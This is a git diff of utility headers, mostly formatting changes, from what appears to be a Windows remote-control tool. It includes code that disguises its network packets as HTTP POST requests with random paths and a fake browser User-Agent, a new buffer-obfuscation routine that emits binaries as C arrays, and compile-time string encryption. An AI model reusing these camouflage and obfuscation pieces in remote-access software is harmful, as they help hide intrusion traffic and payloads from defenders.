nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) { - free(pAddresses); - pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); - } + ULONG outBufLen = 15000; + IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); + if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) { + free(pAddresses); + pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); + } - if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) { - for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) { - for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) { - char addressBuffer[INET6_ADDRSTRLEN] = { 0 }; - getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST); + if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) { + for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) { + for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) { + char addressBuffer[INET6_ADDRSTRLEN] = { 0 }; + getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST); - if (ip == addressBuffer) { - free(pAddresses); - return true; - } - } - } - } + if (ip == addressBuffer) { + free(pAddresses); + return true; + } + } + } + } - free(pAddresses); - return false; - } + free(pAddresses); + return false; + } - // ȡIP, ȡʧܷؿ - std::string getPublicIP() { - clock_t t = clock(); + // ȡIP, ȡʧܷؿ + std::string getPublicIP() + { + clock_t t = clock(); - // ѡѯԴ - static const std::vector urls = { - "https://checkip.amazonaws.com", // ȫ - "https://api.ipify.org", // ߿ - "https://ipinfo.io/ip", // ÷ - "https://icanhazip.com", // - "https://ifconfig.me/ip" // ĩλ - }; + // ѡѯԴ + static const std::vector urls = { + "https://checkip.amazonaws.com", // ȫ + "https://api.ipify.org", // ߿ + "https://ipinfo.io/ip", // ÷ + "https://icanhazip.com", // + "https://ifconfig.me/ip" // ĩλ + }; - // WinINet Ự - HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); - if (!hInternet) { - Mprintf("InternetOpen failed. cost %d ms.\n", clock() - t); - return ""; - } + // WinINet Ự + HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (!hInternet) { + Mprintf("InternetOpen failed. cost %d ms.\n", clock() - t); + return ""; + } - // óʱ () - DWORD timeout = 3000; // 3 - InternetSetOptionA(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout)); - InternetSetOptionA(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout)); - InternetSetOptionA(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout)); + // óʱ () + DWORD timeout = 3000; // 3 + InternetSetOptionA(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout)); + InternetSetOptionA(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout)); + InternetSetOptionA(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout)); - std::string result; - char buffer[2048]; - DWORD bytesRead = 0; + std::string result; + char buffer[2048]; + DWORD bytesRead = 0; - // ѯͬ IP ѯԴ - for (const auto& url : urls) { - HINTERNET hConnect = InternetOpenUrlA( - hInternet, url.c_str(), NULL, 0, - INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE, - 0 - ); + // ѯͬ IP ѯԴ + for (const auto& url : urls) { + HINTERNET hConnect = InternetOpenUrlA( + hInternet, url.c_str(), NULL, 0, + INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE, + 0 + ); - if (!hConnect) { - continue; // ǰԴʧܣһ - } + if (!hConnect) { + continue; // ǰԴʧܣһ + } - memset(buffer, 0, sizeof(buffer)); - if (InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) { - result.assign(buffer, bytesRead); + memset(buffer, 0, sizeof(buffer)); + if (InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) { + result.assign(buffer, bytesRead); - // ȥзͿո - while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' ')) - result.pop_back(); + // ȥзͿո + while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' ')) + result.pop_back(); - InternetCloseHandle(hConnect); - break; // ɹȡֹͣ - } + InternetCloseHandle(hConnect); + break; // ɹȡֹͣ + } - InternetCloseHandle(hConnect); - } + InternetCloseHandle(hConnect); + } - InternetCloseHandle(hInternet); + InternetCloseHandle(hInternet); - Mprintf("getPublicIP %s cost %d ms.\n", result.empty() ? "failed" : "succeed", clock() - t); + Mprintf("getPublicIP %s cost %d ms.\n", result.empty() ? "failed" : "succeed", clock() - t); - return result; - } + return result; + } }; diff --git a/common/locker.h b/common/locker.h index d287932..3caffcb 100644 --- a/common/locker.h +++ b/common/locker.h @@ -12,59 +12,60 @@ class CAutoLog { private: CRITICAL_SECTION *m_cs; - const char* name; + const char* name; public: CAutoLog(const char* _name, CRITICAL_SECTION *cs=NULL) : name(_name), m_cs(cs) - { - Mprintf(">>> Enter thread %s: [%d]\n", name ? name : "", GetCurrentThreadId()); + { + Mprintf(">>> Enter thread %s: [%d]\n", name ? name : "", GetCurrentThreadId()); if (m_cs)EnterCriticalSection(m_cs); - } + } - ~CAutoLog() - { + ~CAutoLog() + { if (m_cs)LeaveCriticalSection(m_cs); - Mprintf(">>> Leave thread %s: [%d]\n", name ? name : "", GetCurrentThreadId()); - } + Mprintf(">>> Leave thread %s: [%d]\n", name ? name : "", GetCurrentThreadId()); + } }; -class CLock { +class CLock +{ public: - CLock(CRITICAL_SECTION& cs) : m_cs(&cs) - { - Lock(); - } - CLock() : m_cs(nullptr) - { - InitializeCriticalSection(&i_cs); - } - ~CLock() - { - m_cs ? Unlock() : DeleteCriticalSection(&i_cs); - } + CLock(CRITICAL_SECTION& cs) : m_cs(&cs) + { + Lock(); + } + CLock() : m_cs(nullptr) + { + InitializeCriticalSection(&i_cs); + } + ~CLock() + { + m_cs ? Unlock() : DeleteCriticalSection(&i_cs); + } - void Unlock() - { - LeaveCriticalSection(m_cs ? m_cs : &i_cs); - } + void Unlock() + { + LeaveCriticalSection(m_cs ? m_cs : &i_cs); + } - void Lock() - { - EnterCriticalSection(m_cs ? m_cs : &i_cs); - } + void Lock() + { + EnterCriticalSection(m_cs ? m_cs : &i_cs); + } - void unlock() - { - LeaveCriticalSection(m_cs ? m_cs : &i_cs); - } + void unlock() + { + LeaveCriticalSection(m_cs ? m_cs : &i_cs); + } - void lock() - { - EnterCriticalSection(m_cs ? m_cs : &i_cs); - } + void lock() + { + EnterCriticalSection(m_cs ? m_cs : &i_cs); + } protected: - CRITICAL_SECTION* m_cs; // 外部锁 - CRITICAL_SECTION i_cs; // 内部锁 + CRITICAL_SECTION* m_cs; // 外部锁 + CRITICAL_SECTION i_cs; // 内部锁 }; typedef CLock CLocker; @@ -72,53 +73,58 @@ typedef CLock CLocker; class CAutoLock { private: - CRITICAL_SECTION &m_cs; + CRITICAL_SECTION &m_cs; public: CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs) - { + { EnterCriticalSection(&m_cs); - } + } - ~CAutoLock() - { + ~CAutoLock() + { LeaveCriticalSection(&m_cs); - } + } }; // 智能计时器,计算函数的耗时 -class auto_tick { +class auto_tick +{ private: - const char* file; - const char* func; - int line; - int span; - clock_t tick; - __inline clock_t now() const { - return clock(); - } - __inline int time() const { - return now() - tick; - } + const char* file; + const char* func; + int line; + int span; + clock_t tick; + __inline clock_t now() const + { + return clock(); + } + __inline int time() const + { + return now() - tick; + } public: - auto_tick(const char* file_name, const char* func_name, int line_no, int th = 5) : - file(file_name), func(func_name), line(line_no), span(th), tick(now()) { } - ~auto_tick() { - stop(); - } + auto_tick(const char* file_name, const char* func_name, int line_no, int th = 5) : + file(file_name), func(func_name), line(line_no), span(th), tick(now()) { } + ~auto_tick() + { + stop(); + } - __inline void stop() { - if (span != 0) { - int s(this->time()); - if (s > span) { - char buf[1024]; - sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s); - OutputDebugStringA(buf); - } - span = 0; - } - } + __inline void stop() + { + if (span != 0) { + int s(this->time()); + if (s > span) { + char buf[1024]; + sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s); + OutputDebugStringA(buf); + } + span = 0; + } + } }; #ifdef _DEBUG diff --git a/common/logger.h b/common/logger.h index ab4be04..cc5da7c 100644 --- a/common/logger.h +++ b/common/logger.h @@ -21,204 +21,222 @@ #include -inline bool stringToBool(const std::string& str) { - std::string lower = str; - std::transform(lower.begin(), lower.end(), lower.begin(), ::tolower); - return (lower == "true" || lower == "1"); +inline bool stringToBool(const std::string& str) +{ + std::string lower = str; + std::transform(lower.begin(), lower.end(), lower.begin(), ::tolower); + return (lower == "true" || lower == "1"); } -class Logger { +class Logger +{ public: - enum LogLevel { - InfoLevel, WarningLevel, ErrorLevel - }; + enum LogLevel { + InfoLevel, WarningLevel, ErrorLevel + }; - // ģʽ - static Logger& getInstance() { - static Logger instance; - if (instance.pid.empty()) { - char buf[16] = {}; - sprintf_s(buf, "%d", GetCurrentProcessId()); - instance.pid = buf; - instance.InitLogFile("C:\\Windows\\Temp", instance.pid); + // ģʽ + static Logger& getInstance() + { + static Logger instance; + if (instance.pid.empty()) { + char buf[16] = {}; + sprintf_s(buf, "%d", GetCurrentProcessId()); + instance.pid = buf; + instance.InitLogFile("C:\\Windows\\Temp", instance.pid); #ifdef _WINDOWS - instance.enable = true; // ־Ĭϴ + instance.enable = true; // ־Ĭϴ #else - char var[32] = {}; - const char* name = skCrypt("ENABLE_LOG"); - DWORD size = GetEnvironmentVariableA(name, var, sizeof(var)); - instance.enable = stringToBool(var); - instance.log("logger.h", __LINE__, "GetEnvironmentVariable: %s=%s\n", name, var); + char var[32] = {}; + const char* name = skCrypt("ENABLE_LOG"); + DWORD size = GetEnvironmentVariableA(name, var, sizeof(var)); + instance.enable = stringToBool(var); + instance.log("logger.h", __LINE__, "GetEnvironmentVariable: %s=%s\n", name, var); #endif - } - return instance; - } + } + return instance; + } - // ֹ͸ֵ - Logger(const Logger&) = delete; - Logger& operator=(const Logger&) = delete; + // ֹ͸ֵ + Logger(const Logger&) = delete; + Logger& operator=(const Logger&) = delete; - // ־ļ - void setLogFile(const std::string& filename) { - std::lock_guard lock(fileMutex); - logFileName = filename; - } + // ־ļ + void setLogFile(const std::string& filename) + { + std::lock_guard lock(fileMutex); + logFileName = filename; + } - // ־ - void usingLog(bool b = true) { - enable = b; - } + // ־ + void usingLog(bool b = true) + { + enable = b; + } - // д־֧ printf ʽ - void log(const char* file, int line, const char* format, ...) { - va_list args; - va_start(args, format); + // д־֧ printf ʽ + void log(const char* file, int line, const char* format, ...) + { + va_list args; + va_start(args, format); - std::string message = formatString(format, args); + std::string message = formatString(format, args); - va_end(args); + va_end(args); - auto timestamp = getCurrentTimestamp(); - std::string id = pid.empty() ? "" : "[" + pid + "]"; + auto timestamp = getCurrentTimestamp(); + std::string id = pid.empty() ? "" : "[" + pid + "]"; - std::string logEntry = id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message; - if (enable) - { - if (running) { - std::lock_guard lock(queueMutex); - logQueue.push(logEntry); - } else { - writeToFile(logEntry); - } - } + std::string logEntry = id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message; + if (enable) { + if (running) { + std::lock_guard lock(queueMutex); + logQueue.push(logEntry); + } else { + writeToFile(logEntry); + } + } #ifndef _WINDOWS #ifdef _DEBUG - printf(logEntry.c_str()); + printf(logEntry.c_str()); #endif #endif - cv.notify_one(); // ֪ͨд߳ - } + cv.notify_one(); // ֪ͨд߳ + } - // ֹͣ־ϵͳ - void stop() { - if (!running) return; - { - std::lock_guard lock(queueMutex); - running = false; // ״̬ - } - cv.notify_one(); - if (workerThread.joinable()) { - workerThread.join(); - } - for (int i = 0; threadRun && i++ < 1000; Sleep(1)); - } + // ֹͣ־ϵͳ + void stop() + { + if (!running) return; + { + std::lock_guard lock(queueMutex); + running = false; // ״̬ + } + cv.notify_one(); + if (workerThread.joinable()) { + workerThread.join(); + } + for (int i = 0; threadRun && i++ < 1000; Sleep(1)); + } private: - // ־· - void InitLogFile(const std::string & dir, const std::string& pid) { - time_t currentTime = time(nullptr); - tm* localTime = localtime(¤tTime); - char timeString[32]; - strftime(timeString, sizeof(timeString), "%Y-%m", localTime); - char fileName[100]; + // ־· + void InitLogFile(const std::string & dir, const std::string& pid) + { + time_t currentTime = time(nullptr); + tm* localTime = localtime(¤tTime); + char timeString[32]; + strftime(timeString, sizeof(timeString), "%Y-%m", localTime); + char fileName[100]; #ifdef _WINDOWS - sprintf_s(fileName, "\\YAMA_%s_%s.txt", timeString, pid.c_str()); + sprintf_s(fileName, "\\YAMA_%s_%s.txt", timeString, pid.c_str()); #else - sprintf_s(fileName, "\\log_%s_%s.txt", timeString, pid.c_str()); + sprintf_s(fileName, "\\log_%s_%s.txt", timeString, pid.c_str()); #endif - logFileName = dir + fileName; - } - std::string logFileName; // ־ļ - bool enable; // Ƿ - bool threadRun; // ־߳״̬ - std::queue logQueue; // ־ - std::mutex queueMutex; // л - std::condition_variable cv; // - std::atomic running; // Ƿ - std::thread workerThread; // ̨߳ - std::mutex fileMutex; // ļд - std::string pid; // ID + logFileName = dir + fileName; + } + std::string logFileName; // ־ļ + bool enable; // Ƿ + bool threadRun; // ־߳״̬ + std::queue logQueue; // ־ + std::mutex queueMutex; // л + std::condition_variable cv; // + std::atomic running; // Ƿ + std::thread workerThread; // ̨߳ + std::mutex fileMutex; // ļд + std::string pid; // ID - Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {} + Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {} - ~Logger() { - stop(); - } + ~Logger() + { + stop(); + } - // ̴̨߳־ - void processLogs() { - threadRun = true; - while (running) { - std::unique_lock lock(queueMutex); - cv.wait(lock, [this]() { - return !running || !logQueue.empty(); - }); + // ̴̨߳־ + void processLogs() + { + threadRun = true; + while (running) { + std::unique_lock lock(queueMutex); + cv.wait(lock, [this]() { + return !running || !logQueue.empty(); + }); - while (running && !logQueue.empty()) { - std::string logEntry = logQueue.front(); - logQueue.pop(); - lock.unlock(); + while (running && !logQueue.empty()) { + std::string logEntry = logQueue.front(); + logQueue.pop(); + lock.unlock(); - // д־ļ - writeToFile(logEntry); + // д־ļ + writeToFile(logEntry); - lock.lock(); - } - lock.unlock(); - } - threadRun = false; - } + lock.lock(); + } + lock.unlock(); + } + threadRun = false; + } - // дļ - void writeToFile(const std::string& logEntry) { - std::lock_guard lock(fileMutex); - std::ofstream logFile(logFileName, std::ios::app); - if (logFile.is_open()) { - logFile << logEntry << std::endl; - } - } + // дļ + void writeToFile(const std::string& logEntry) + { + std::lock_guard lock(fileMutex); + std::ofstream logFile(logFileName, std::ios::app); + if (logFile.is_open()) { + logFile << logEntry << std::endl; + } + } - // ȡǰʱ - std::string getCurrentTimestamp() { - auto now = std::chrono::system_clock::now(); - auto in_time_t = std::chrono::system_clock::to_time_t(now); + // ȡǰʱ + std::string getCurrentTimestamp() + { + auto now = std::chrono::system_clock::now(); + auto in_time_t = std::chrono::system_clock::to_time_t(now); - std::tm tm; + std::tm tm; #ifdef _WIN32 - localtime_s(&tm, &in_time_t); // Windows ȫ汾 + localtime_s(&tm, &in_time_t); // Windows ȫ汾 #else - localtime_r(&in_time_t, &tm); // POSIX ȫ汾 + localtime_r(&in_time_t, &tm); // POSIX ȫ汾 #endif - std::stringstream ss; - ss << std::put_time(&tm, "%Y-%m-%d %H:%M:%S"); - return ss.str(); - } + std::stringstream ss; + ss << std::put_time(&tm, "%Y-%m-%d %H:%M:%S"); + return ss.str(); + } - // ־תΪַ - std::string logLevelToString(LogLevel level) { - switch (level) { - case InfoLevel: return "INFO"; - case WarningLevel: return "WARNING"; - case ErrorLevel: return "ERROR"; - default: return "UNKNOWN"; - } - } + // ־תΪַ + std::string logLevelToString(LogLevel level) + { + switch (level) { + case InfoLevel: + return "INFO"; + case WarningLevel: + return "WARNING"; + case ErrorLevel: + return "ERROR"; + default: + return "UNKNOWN"; + } + } - // ʽַ - std::string formatString(const char* format, va_list args) { - char buffer[1024]; - vsnprintf(buffer, sizeof(buffer), format, args); - return std::string(buffer); - } + // ʽַ + std::string formatString(const char* format, va_list args) + { + char buffer[1024]; + vsnprintf(buffer, sizeof(buffer), format, args); + return std::string(buffer); + } }; -inline const char* getFileName(const char* path) { - const char* fileName = strrchr(path, '\\'); - if (!fileName) { - fileName = strrchr(path, '/'); - } - return fileName ? fileName + 1 : path; +inline const char* getFileName(const char* path) +{ + const char* fileName = strrchr(path, '\\'); + if (!fileName) { + fileName = strrchr(path, '/'); + } + return fileName ? fileName + 1 : path; } #ifdef _WINDOWS diff --git a/common/mask.h b/common/mask.h index f317ded..67a05d6 100644 --- a/common/mask.h +++ b/common/mask.h @@ -5,79 +5,92 @@ // 数据包协议封装格式 // Copy left: 962914132@qq.com & ChatGPT enum PkgMaskType { - MaskTypeUnknown = -1, - MaskTypeNone, - MaskTypeHTTP, - MaskTypeNum, + MaskTypeUnknown = -1, + MaskTypeNone, + MaskTypeHTTP, + MaskTypeNum, }; #define DEFAULT_HOST "example.com" -inline ULONG UnMaskHttp(char* src, ULONG srcSize) { - const char* header_end_mark = "\r\n\r\n"; - const ULONG mark_len = 4; +inline ULONG UnMaskHttp(char* src, ULONG srcSize) +{ + const char* header_end_mark = "\r\n\r\n"; + const ULONG mark_len = 4; - // 查找 HTTP 头部结束标记 - for (ULONG i = 0; i + mark_len <= srcSize; ++i) { - if (memcmp(src + i, header_end_mark, mark_len) == 0) { - return i + mark_len; // 返回 Body 起始位置 - } - } - return 0; // 无效数据 + // 查找 HTTP 头部结束标记 + for (ULONG i = 0; i + mark_len <= srcSize; ++i) { + if (memcmp(src + i, header_end_mark, mark_len) == 0) { + return i + mark_len; // 返回 Body 起始位置 + } + } + return 0; // 无效数据 } // TryUnMask 尝试去掉伪装的协议头. -inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) { - if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) { - maskHit = MaskTypeHTTP; - return UnMaskHttp(src, srcSize); - } - maskHit = MaskTypeNone; - return 0; +inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) +{ + if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) { + maskHit = MaskTypeHTTP; + return UnMaskHttp(src, srcSize); + } + maskHit = MaskTypeNone; + return 0; } // PkgMask 针对消息进一步加密、混淆或伪装. -class PkgMask { +class PkgMask +{ protected: virtual ~PkgMask() {} public: - virtual void Destroy() { + virtual void Destroy() + { delete this; } - virtual void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) { + virtual void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) + { dst = src; dstSize = srcSize; } - virtual ULONG UnMask(char* src, ULONG srcSize) { + virtual ULONG UnMask(char* src, ULONG srcSize) + { return 0; } - virtual PkgMask* SetServer(const std::string& addr) { return this; } - virtual PkgMaskType GetMaskType() const { + virtual PkgMask* SetServer(const std::string& addr) + { + return this; + } + virtual PkgMaskType GetMaskType() const + { return MaskTypeNone; } }; -class HttpMask : public PkgMask { +class HttpMask : public PkgMask +{ public: - virtual PkgMaskType GetMaskType() const override { - return MaskTypeHTTP; - } + virtual PkgMaskType GetMaskType() const override + { + return MaskTypeHTTP; + } /** * @brief 构造函数 * @param host HTTP Host 头字段 */ - explicit HttpMask(const std::string& host, const std::map& headers = {}) : - product_(GenerateRandomString()), host_(host) { + explicit HttpMask(const std::string& host, const std::map& headers = {}) : + product_(GenerateRandomString()), host_(host) + { // 初始化随机数生成器 srand(static_cast(time(nullptr))); char buf[32]; sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10); version_ = buf; user_agent_ = GetEnhancedSystemUA(product_, version_); - for (std::map::const_iterator it = headers.begin(); it != headers.end(); ++it) { + for (std::map::const_iterator it = headers.begin(); it != headers.end(); ++it) { headers_ += it->first + ": " + it->second + "\r\n"; - } + } } /** @@ -88,7 +101,8 @@ public: * @param srcSize 原始数据长度 * @param cmd 命令号 */ - void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) { + void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) + { // 生成动态 HTTP 头部 std::string http_header = "POST " + GeneratePath(cmd) + " HTTP/1.1\r\n" @@ -114,16 +128,19 @@ public: * @param srcSize 数据长度 * @return ULONG 原始数据在 src 中的起始偏移量(失败返回 0) */ - ULONG UnMask(char* src, ULONG srcSize) { + ULONG UnMask(char* src, ULONG srcSize) + { return UnMaskHttp(src, srcSize); } - PkgMask* SetServer(const std::string& addr) override { + PkgMask* SetServer(const std::string& addr) override + { host_ = addr; return this; } private: - static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) { + static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) + { #ifdef _WIN32 OSVERSIONINFOEX osvi = {}; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); @@ -133,15 +150,15 @@ private: SYSTEM_INFO si; GetNativeSystemInfo(&si); std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" : - (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) ? "Win64; ARM64" : - "WOW64"; + (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) ? "Win64; ARM64" : + "WOW64"; return "Mozilla/5.0 (" + - std::string("Windows NT ") + - std::to_string(osvi.dwMajorVersion) + "." + - std::to_string(osvi.dwMinorVersion) + "; " + - arch + ") " + - appName + "/" + appVersion; + std::string("Windows NT ") + + std::to_string(osvi.dwMajorVersion) + "." + + std::to_string(osvi.dwMinorVersion) + "; " + + arch + ") " + + appName + "/" + appVersion; #else return "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"; #endif @@ -154,7 +171,8 @@ private: std::string headers_; // 自定义请求头 /** 生成随机 URL 路径 */ - std::string GenerateRandomString(int size = 8) const { + std::string GenerateRandomString(int size = 8) const + { static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789"; char path[32]; for (int i = 0; i < size; ++i) { @@ -163,7 +181,8 @@ private: path[size] = 0; return path; } - std::string GeneratePath(int cmd) const { + std::string GeneratePath(int cmd) const + { static std::string root = "/" + product_ + "/" + GenerateRandomString() + "/"; return root + (cmd == -1 ? GenerateRandomString() : std::to_string(cmd)); } diff --git a/common/md5.h b/common/md5.h index 1a310ba..d2d35f2 100644 --- a/common/md5.h +++ b/common/md5.h @@ -2,41 +2,42 @@ #include -inline std::string CalcMD5FromBytes(const BYTE* data, DWORD length) { - HCRYPTPROV hProv = 0; - HCRYPTHASH hHash = 0; - BYTE hash[16]; // MD5 16 ֽ - DWORD hashLen = sizeof(hash); - std::ostringstream oss; +inline std::string CalcMD5FromBytes(const BYTE* data, DWORD length) +{ + HCRYPTPROV hProv = 0; + HCRYPTHASH hHash = 0; + BYTE hash[16]; // MD5 16 ֽ + DWORD hashLen = sizeof(hash); + std::ostringstream oss; - if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { - return ""; - } + if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + return ""; + } - if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) { - CryptReleaseContext(hProv, 0); - return ""; - } + if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) { + CryptReleaseContext(hProv, 0); + return ""; + } - if (!CryptHashData(hHash, data, length, 0)) { - CryptDestroyHash(hHash); - CryptReleaseContext(hProv, 0); - return ""; - } + if (!CryptHashData(hHash, data, length, 0)) { + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return ""; + } - if (!CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0)) { - CryptDestroyHash(hHash); - CryptReleaseContext(hProv, 0); - return ""; - } + if (!CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0)) { + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return ""; + } - // תΪʮַ - for (DWORD i = 0; i < hashLen; ++i) { - oss << std::hex << std::setw(2) << std::setfill('0') << (int)hash[i]; - } + // תΪʮַ + for (DWORD i = 0; i < hashLen; ++i) { + oss << std::hex << std::setw(2) << std::setfill('0') << (int)hash[i]; + } - CryptDestroyHash(hHash); - CryptReleaseContext(hProv, 0); + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); - return oss.str(); + return oss.str(); } diff --git a/common/obfs.h b/common/obfs.h new file mode 100644 index 0000000..43b2d8f --- /dev/null +++ b/common/obfs.h @@ -0,0 +1,72 @@ +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#pragma once + +class ObfsBase { +public: + // Գƻڼܺͽ + virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} + + // ˳෴ + virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} + + // C ʽдļ + virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName) { + FILE* file = fopen(filename, "w"); + if (!file) return false; + + fprintf(file, "unsigned char %s[] = {\n", arrayName); + for (size_t i = 0; i < length; ++i) { + if (i % 24 == 0) fprintf(file, " "); + fprintf(file, "0x%02X", data[i]); + if (i != length - 1) fprintf(file, ","); + if ((i + 1) % 24 == 0 || i == length - 1) fprintf(file, "\n"); + else fprintf(file, " "); + } + fprintf(file, "};\n"); + fprintf(file, "unsigned int %s_len = %zu;\n", arrayName, length); + + fclose(file); + return true; + } +}; + +class Obfs : public ObfsBase { +private: + // 8λ + static inline uint8_t rol8(uint8_t val, int shift) { + return (val << shift) | (val >> (8 - shift)); + } + + // 8λ + static inline uint8_t ror8(uint8_t val, int shift) { + return (val >> shift) | (val << (8 - shift)); + } + +public: + // Գƻڼܺͽ + virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) { + uint32_t state = seed; + + for (size_t i = 0; i < len; ++i) { + uint8_t mask = (uint8_t)((state >> 16) & 0xFF); + buf[i] = rol8(buf[i] ^ mask, 3); // +ת + state = state * 2654435761u + buf[i]; // LCG + Ŷ + } + } + + // ˳෴ + virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) { + uint32_t state = seed; + + for (size_t i = 0; i < len; ++i) { + uint8_t mask = (uint8_t)((state >> 16) & 0xFF); + uint8_t orig = buf[i]; + buf[i] = ror8(buf[i], 3) ^ mask; + state = state * 2654435761u + orig; // ûǰԭֽڸ state + } + } +}; diff --git a/common/skCrypter.h b/common/skCrypter.h index 5522aad..d5557aa 100644 --- a/common/skCrypter.h +++ b/common/skCrypter.h @@ -13,121 +13,118 @@ skCrypter ____________________________________________________________________________________________________________*/ #ifdef _KERNEL_MODE - namespace std - { - // STRUCT TEMPLATE remove_reference - template - struct remove_reference { - using type = _Ty; - }; +namespace std +{ +// STRUCT TEMPLATE remove_reference +template +struct remove_reference { + using type = _Ty; +}; - template - struct remove_reference<_Ty&> { - using type = _Ty; - }; +template +struct remove_reference<_Ty&> { + using type = _Ty; +}; - template - struct remove_reference<_Ty&&> { - using type = _Ty; - }; +template +struct remove_reference<_Ty&&> { + using type = _Ty; +}; - template - using remove_reference_t = typename remove_reference<_Ty>::type; +template +using remove_reference_t = typename remove_reference<_Ty>::type; - // STRUCT TEMPLATE remove_const - template - struct remove_const { // remove top-level const qualifier - using type = _Ty; - }; +// STRUCT TEMPLATE remove_const +template +struct remove_const { // remove top-level const qualifier + using type = _Ty; +}; - template - struct remove_const { - using type = _Ty; - }; +template +struct remove_const { + using type = _Ty; +}; - template - using remove_const_t = typename remove_const<_Ty>::type; - } +template +using remove_const_t = typename remove_const<_Ty>::type; +} #else - #include +#include #endif namespace skc { - template - using clean_type = typename std::remove_const_t>; +template +using clean_type = typename std::remove_const_t>; - template - class skCrypter - { - public: - __forceinline constexpr skCrypter(T* data) - { - crypt(data); - } +template +class skCrypter { +public: + __forceinline constexpr skCrypter(T* data) + { + crypt(data); + } - __forceinline T* get() - { - return _storage; - } + __forceinline T* get() + { + return _storage; + } - __forceinline int size() // (w)char count - { - return _size; - } + __forceinline int size() // (w)char count + { + return _size; + } - __forceinline char key() - { - return _key1; - } + __forceinline 